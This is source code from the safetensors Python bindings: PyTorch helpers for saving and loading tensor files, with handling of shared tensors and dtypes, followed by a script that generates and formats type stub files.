| shareds = _find_shared_tensors(state_dict) | |
| to_remove = defaultdict(list) | |
| for shared in shareds: | |
| complete_names = set([name for name in shared if _is_complete(state_dict[name])]) | |
| if not complete_names: | |
| raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.') | |
| keep_name = sorted(list(complete_names))[0] | |
| preferred = complete_names.difference(discard_names) | |
| if preferred: | |
| keep_name = sorted(list(preferred))[0] | |
| if preferred_names: | |
| preferred = preferred_names.intersection(complete_names) | |
| if preferred: | |
| keep_name = sorted(list(preferred))[0] | |
| for name in sorted(shared): | |
| if name != keep_name: | |
| to_remove[keep_name].append(name) | |
| return to_remove | |
| def save_model(model: torch.nn.Module, filename: str, metadata: Optional[Dict[str, str]]=None, force_contiguous: bool=True): | |
| state_dict = model.state_dict() | |
| to_removes = _remove_duplicate_names(state_dict) | |
| for (kept_name, to_remove_group) in to_removes.items(): | |
| for to_remove in to_remove_group: | |
| if metadata is None: | |
| metadata = {} | |
| if to_remove not in metadata: | |
| metadata[to_remove] = kept_name | |
| del state_dict[to_remove] | |
| if force_contiguous: | |
| state_dict = {k: v.contiguous() for (k, v) in state_dict.items()} | |
| try: | |
| save_file(state_dict, filename, metadata=metadata) | |
| except ValueError as e: | |
| msg = str(e) | |
| msg += ' Or use save_model(..., force_contiguous=True), read the docs for potential caveats.' | |
| raise ValueError(msg) | |
| def load_model(model: torch.nn.Module, filename: Union[str, os.PathLike], strict: bool=True, device: Union[str, int]='cpu') -> Tuple[List[str], List[str]]: | |
| state_dict = load_file(filename, device=device) | |
| model_state_dict = model.state_dict() | |
| to_removes = _remove_duplicate_names(model_state_dict, preferred_names=state_dict.keys()) | |
| (missing, unexpected) = model.load_state_dict(state_dict, strict=False) | |
| missing = set(missing) | |
| for to_remove_group in to_removes.values(): | |
| for to_remove in to_remove_group: | |
| if to_remove not in missing: | |
| unexpected.append(to_remove) | |
| else: | |
| missing.remove(to_remove) | |
| if strict and (missing or unexpected): | |
| missing_keys = ', '.join([f'"{k}"' for k in sorted(missing)]) | |
| unexpected_keys = ', '.join([f'"{k}"' for k in sorted(unexpected)]) | |
| error = f'Error(s) in loading state_dict for {model.__class__.__name__}:' | |
| if missing: | |
| error += f'\n Missing key(s) in state_dict: {missing_keys}' | |
| if unexpected: | |
| error += f'\n Unexpected key(s) in state_dict: {unexpected_keys}' | |
| raise RuntimeError(error) | |
| return (missing, unexpected) | |
| def save(tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes: | |
| serialized = serialize(_flatten(tensors), metadata=metadata) | |
| result = bytes(serialized) | |
| return result | |
| def save_file(tensors: Dict[str, torch.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None): | |
| serialize_file(_flatten(tensors), filename, metadata=metadata) | |
| def load_file(filename: Union[str, os.PathLike], device: Union[str, int]='cpu') -> Dict[str, torch.Tensor]: | |
| result = {} | |
| with safe_open(filename, framework='pt', device=device) as f: | |
| for k in f.keys(): | |
| result[k] = f.get_tensor(k) | |
| return result | |
| def load(data: bytes) -> Dict[str, torch.Tensor]: | |
| flat = deserialize(data) | |
| return _view2torch(flat) | |
| _float8_e4m3fn = getattr(torch, 'float8_e4m3fn', None) | |
| _float8_e5m2 = getattr(torch, 'float8_e5m2', None) | |
| _SIZE = {torch.int64: 8, torch.float32: 4, torch.int32: 4, torch.bfloat16: 2, torch.float16: 2, torch.int16: 2, torch.uint8: 1, torch.int8: 1, torch.bool: 1, torch.float64: 8, _float8_e4m3fn: 1, _float8_e5m2: 1} | |
| _TYPES = {'F64': torch.float64, 'F32': torch.float32, 'F16': torch.float16, 'BF16': torch.bfloat16, 'I64': torch.int64, 'I32': torch.int32, 'I16': torch.int16, 'I8': torch.int8, 'U8': torch.uint8, 'BOOL': torch.bool, 'F8_E4M3': _float8_e4m3fn, 'F8_E5M2': _float8_e5m2} | |
| def _getdtype(dtype_str: str) -> torch.dtype: | |
| return _TYPES[dtype_str] | |
| def _view2torch(safeview) -> Dict[str, torch.Tensor]: | |
| result = {} | |
| for (k, v) in safeview: | |
| dtype = _getdtype(v['dtype']) | |
| if len(v['data']) == 0: | |
| assert any((x == 0 for x in v['shape'])) | |
| arr = torch.empty(v['shape'], dtype=dtype) | |
| else: | |
| arr = torch.frombuffer(v['data'], dtype=dtype).reshape(v['shape']) | |
| if sys.byteorder == 'big': | |
| arr = torch.from_numpy(arr.numpy().byteswap(inplace=False)) | |
| result[k] = arr | |
| return result | |
| def _tobytes(tensor: torch.Tensor, name: str) -> bytes: | |
| if tensor.layout != torch.strided: | |
| raise ValueError(f'You are trying to save a sparse tensor: `{name}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.') | |
| if not tensor.is_contiguous(): | |
| raise ValueError(f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you are trying to save tensors which are reference of each other in which case it's recommended to save only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to pack it before saving.") | |
| if tensor.device.type != 'cpu': | |
| tensor = tensor.to('cpu') | |
| import ctypes | |
| import numpy as np | |
| length = int(np.prod(tensor.shape).item()) | |
| bytes_per_item = _SIZE[tensor.dtype] | |
| total_bytes = length * bytes_per_item | |
| ptr = tensor.data_ptr() | |
| if ptr == 0: | |
| return b'' | |
| newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte)) | |
| data = np.ctypeslib.as_array(newptr, (total_bytes,)) | |
| if sys.byteorder == 'big': | |
| NPDTYPES = {torch.int64: np.int64, torch.float32: np.float32, torch.int32: np.int32, torch.bfloat16: np.float16, torch.float16: np.float16, torch.int16: np.int16, torch.uint8: np.uint8, torch.int8: np.int8, torch.bool: bool, torch.float64: np.float64, _float8_e4m3fn: np.uint8, _float8_e5m2: np.uint8} | |
| npdtype = NPDTYPES[tensor.dtype] | |
| data = data.view(npdtype).byteswap(inplace=False) | |
| return data.tobytes() | |
| def _flatten(tensors: Dict[str, torch.Tensor]) -> Dict[str, Dict[str, Any]]: | |
| if not isinstance(tensors, dict): | |
| raise ValueError(f'Expected a dict of [str, torch.Tensor] but received {type(tensors)}') | |
| invalid_tensors = [] | |
| for (k, v) in tensors.items(): | |
| if not isinstance(v, torch.Tensor): | |
| raise ValueError(f'Key `{k}` is invalid, expected torch.Tensor but received {type(v)}') | |
| if v.layout != torch.strided: | |
| invalid_tensors.append(k) | |
| if invalid_tensors: | |
| raise ValueError(f'You are trying to save a sparse tensors: `{invalid_tensors}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.') | |
| shared_pointers = _find_shared_tensors(tensors) | |
| failing = [] | |
| for names in shared_pointers: | |
| if len(names) > 1: | |
| failing.append(names) | |
| if failing: | |
| raise RuntimeError(f'\n Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}.\n A potential way to correctly save your model is to use `save_model`.\n More information at https://huggingface.co/docs/safetensors/torch_shared_tensors\n ') | |
| return {k: {'dtype': str(v.dtype).split('.')[-1], 'shape': v.shape, 'data': _tobytes(v, k)} for (k, v) in tensors.items()} | |
| # File: safetensors-main/bindings/python/stub.py | |
| import argparse | |
| import inspect | |
| import os | |
| import black | |
| INDENT = ' ' * 4 | |
| GENERATED_COMMENT = '# Generated content DO NOT EDIT\n' | |
| def do_indent(text: str, indent: str): | |
| return text.replace('\n', f'\n{indent}') | |
| def function(obj, indent, text_signature=None): | |
| if text_signature is None: | |
| text_signature = obj.__text_signature__ | |
| string = '' | |
| string += f'{indent}def {obj.__name__}{text_signature}:\n' | |
| indent += INDENT | |
| string += f'{indent}"""\n' | |
| string += f'{indent}{do_indent(obj.__doc__, indent)}\n' | |
| string += f'{indent}"""\n' | |
| string += f'{indent}pass\n' | |
| string += '\n' | |
| string += '\n' | |
| return string | |
| def member_sort(member): | |
| if inspect.isclass(member): | |
| value = 10 + len(inspect.getmro(member)) | |
| else: | |
| value = 1 | |
| return value | |
| def fn_predicate(obj): | |
| value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj) | |
| if value: | |
| return obj.__doc__ and obj.__text_signature__ and (not obj.__name__.startswith('_')) | |
| if inspect.isgetsetdescriptor(obj): | |
| return obj.__doc__ and (not obj.__name__.startswith('_')) | |
| return False | |
| def get_module_members(module): | |
| members = [member for (name, member) in inspect.getmembers(module) if not name.startswith('_') and (not inspect.ismodule(member))] | |
| members.sort(key=member_sort) | |
| return members | |
| def pyi_file(obj, indent=''): | |
| string = '' | |
| if inspect.ismodule(obj): | |
| string += GENERATED_COMMENT | |
| members = get_module_members(obj) | |
| for member in members: | |
| string += pyi_file(member, indent) | |
| elif inspect.isclass(obj): | |
| indent += INDENT | |
| mro = inspect.getmro(obj) | |
| if len(mro) > 2: | |
| inherit = f'({mro[1].__name__})' | |
| else: | |
| inherit = '' | |
| string += f'class {obj.__name__}{inherit}:\n' | |
| body = '' | |
| if obj.__doc__: | |
| body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n' | |
| fns = inspect.getmembers(obj, fn_predicate) | |
| if obj.__text_signature__: | |
| body += f'{indent}def __init__{obj.__text_signature__}:\n' | |
| body += f'{indent + INDENT}pass\n' | |
| body += '\n' | |
| for (name, fn) in fns: | |
| body += pyi_file(fn, indent=indent) | |
| if not body: | |
| body += f'{indent}pass\n' | |
| string += body | |
| string += '\n\n' | |
| elif inspect.isbuiltin(obj): | |
| string += f'{indent}@staticmethod\n' | |
| string += function(obj, indent) | |
| elif inspect.ismethoddescriptor(obj): | |
| string += function(obj, indent) | |
| elif inspect.isgetsetdescriptor(obj): | |
| string += f'{indent}@property\n' | |
| string += function(obj, indent, text_signature='(self)') | |
| else: | |
| raise Exception(f'Object {obj} is not supported') | |
| return string | |
| def py_file(module, origin): | |
| members = get_module_members(module) | |
| string = GENERATED_COMMENT | |
| string += f'from .. import {origin}\n' | |
| string += '\n' | |
| for member in members: | |
| name = member.__name__ | |
| string += f'{name} = {origin}.{name}\n' | |
| return string | |
| def do_black(content, is_pyi): | |
| mode = black.Mode(target_versions={black.TargetVersion.PY35}, line_length=119, is_pyi=is_pyi, string_normalization=True, experimental_string_processing=False) | |
| try: | |
| return black.format_file_contents(content, fast=True, mode=mode) | |
| except black.NothingChanged: | |
| return content | |
| def write(module, directory, origin, check=False): | |
| submodules = [(name, member) for (name, member) in inspect.getmembers(module) if inspect.ismodule(member)] | |
| filename = os.path.join(directory, '__init__.pyi') | |
| pyi_content = pyi_file(module) | |
| pyi_content = do_black(pyi_content, is_pyi=True) | |
| os.makedirs(directory, exist_ok=True) | |
| if check: | |
| with open(filename, 'r') as f: | |
| data = f.read() | |
| assert data == pyi_content, f'The content of {filename} seems outdated, please run `python stub.py`' | |
| else: | |
| with open(filename, 'w') as f: | |
| f.write(pyi_content) | |
| filename = os.path.join(directory, '__init__.py') | |
| py_content = py_file(module, origin) | |
| py_content = do_black(py_content, is_pyi=False) | |
| os.makedirs(directory, exist_ok=True) | |
| is_auto = False | |
| if not os.path.exists(filename): | |
| is_auto = True | |
| else: | |
| with open(filename, 'r') as f: | |
| line = f.readline() | |
| if line == GENERATED_COMMENT: | |
| is_auto = True | |
| if is_auto: | |
| if check: | |
| with open(filename, 'r') as f: | |
| data = f.read() | |
| assert data == py_content, f'The content of {filename} seems outdated, please run `python stub.py`' | |
| else: | |
| with open(filename, 'w') as f: | |
| f.write(py_content) | |
| for (name, submodule) in submodules: | |
| write(submodule, os.path.join(directory, name), f'{name}', check=check) | |
| if __name__ == '__main__': | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument('--check', action='store_true') | |
| args = parser.parse_args() | |
| import safetensors | |
| write(safetensors.safetensors_rust, 'py_src/safetensors/', 'safetensors', check=args.check) | |